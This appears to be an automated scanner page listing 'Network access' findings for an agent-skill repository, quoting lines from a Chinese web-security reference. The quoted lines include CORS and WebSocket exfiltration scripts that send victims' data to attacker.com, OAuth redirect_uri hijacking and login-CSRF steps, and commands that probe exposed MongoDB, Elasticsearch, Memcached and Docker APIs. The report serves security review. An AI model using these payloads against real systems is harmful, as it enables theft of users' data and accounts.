    | MongoDB | 27017 | mongo IP:27017 | 无认证直连,导出全部数据 | | Elasticsearch | 9200 | curl IP:9200/_cat/indices | 读取索引数据 | | Memcached | 11211 | echo stats, nc IP 11211 | 数据泄露 |
  • Network accessline 455
    | Elasticsearch | 9200 | curl IP:9200/_cat/indices | 读取索引数据 |
  • Network accessline 456
    | Memcached | 11211 | echo stats, nc IP 11211 | 数据泄露 |
  • Network accessline 457
    | Docker API | 2375 | curl IP:2375/info | 容器逃逸/RCE |

deepsec/spear/skills/specialized/web-security-advanced/references/web-modern-protocols.md

  • Network accessline 21
    # 基础检测: 发送自定义Origin观察响应 curl -H "Origin: https://evil.com" -I https://target.com/api/userinfo
  • Network accessline 22
    curl -H "Origin: https://evil.com" -I https://target.com/api/userinfo
  • Network accessline 23
    # 检查响应头: # Access-Control-Allow-Origin: https://evil.com  → 危险! # Access-Control-Allow-Credentials: true          → 可携带Cookie跨域请求
  • Network accessline 24
    # Access-Control-Allow-Origin: https://evil.com  → 危险!
  • Network accessline 41
    <!-- 恶意页面: 跨域窃取用户数据 --> <script> fetch('https://target.com/api/userinfo', {credentials: 'include'})
  • Network accessline 42
    <script> fetch('https://target.com/api/userinfo', {credentials: 'include'})   .then(r => r.json())
  • Network accessline 43
    fetch('https://target.com/api/userinfo', {credentials: 'include'})
  • Network accessline 44
    .then(r => r.json())   .then(d => fetch('https://attacker.com/steal?data=' + JSON.stringify(d))); </script>
  • Network accessline 45
    .then(d => fetch('https://attacker.com/steal?data=' + JSON.stringify(d)));
  • Network accessline 49
    <iframe sandbox="allow-scripts allow-top-navigation" src="data:text/html, <script> fetch('https://target.com/api/userinfo',{credentials:'include'})
  • Network accessline 50
    <script> fetch('https://target.com/api/userinfo',{credentials:'include'}) .then(r=>r.text()).then(d=>parent.postMessage(d,'*'))
  • Network accessline 51
    fetch('https://target.com/api/userinfo',{credentials:'include'})
  • Network accessline 237
    ws.onmessage = function(e) {     // 窃取响应数据     fetch('https://attacker.com/steal?data=' + encodeURIComponent(e.data));
  • Network accessline 238
    // 窃取响应数据     fetch('https://attacker.com/steal?data=' + encodeURIComponent(e.data)); };
  • Network accessline 239
    fetch('https://attacker.com/steal?data=' + encodeURIComponent(e.data));
  • Network accessline 287
    # 正常流程 https://auth.target.com/authorize?response_type=code&client_id=app&redirect_uri=https://app.com/callback
  • Network accessline 288
    https://auth.target.com/authorize?response_type=code&client_id=app&redirect_uri=https://app.com/callback
  • Network accessline 290
    # 攻击: 篡改redirect_uri窃取授权码 redirect_uri=https://attacker.com/steal           # 完全替换
  • Network accessline 291
    redirect_uri=https://attacker.com/steal           # 完全替换
  • Network accessline 292
    redirect_uri=https://app.com.attacker.com/callback # 子域混淆
  • Network accessline 293
    redirect_uri=https://app.com/callback/../../../attacker # 路径遍历
  • Network accessline 294
    redirect_uri=https://app.com/callback?next=https://attacker.com # 开放重定向链
  • Network accessline 311
    # 攻击流程 (state缺失时) 1. 攻击者发起OAuth授权,获取自己账号的授权码 2. 构造链接: https://app.com/callback?code=ATTACKER_CODE
  • Network accessline 312
    1. 攻击者发起OAuth授权,获取自己账号的授权码 2. 构造链接: https://app.com/callback?code=ATTACKER_CODE 3. 诱骗受害者点击 → 受害者账号绑定攻击者的第三方账号
  • Network accessline 313
    2. 构造链接: https://app.com/callback?code=ATTACKER_CODE
  • Network accessline 325
    [Credential-related source omitted]
  • Network accessline 326
    [Credential-related source omitted]
  • Access to secretsline 326
    [Credential-related source omitted]

How the signals fit together

Facts from a static read of the files at the pinned commit. They describe what the code does, not why.

Some files could not be read; the facts below still hold.

Signal confidence: 500 facts

and 450 more

Only the first 500 facts are listed.

Works with

  • Native The repository ships a manifest, folder or frontmatter field for this agent.
  • Compatible A standard SKILL.md that this agent can read.
  • Unknown No evidence either way.

Derived automatically from paths, manifests and frontmatter. Not tested on each agent.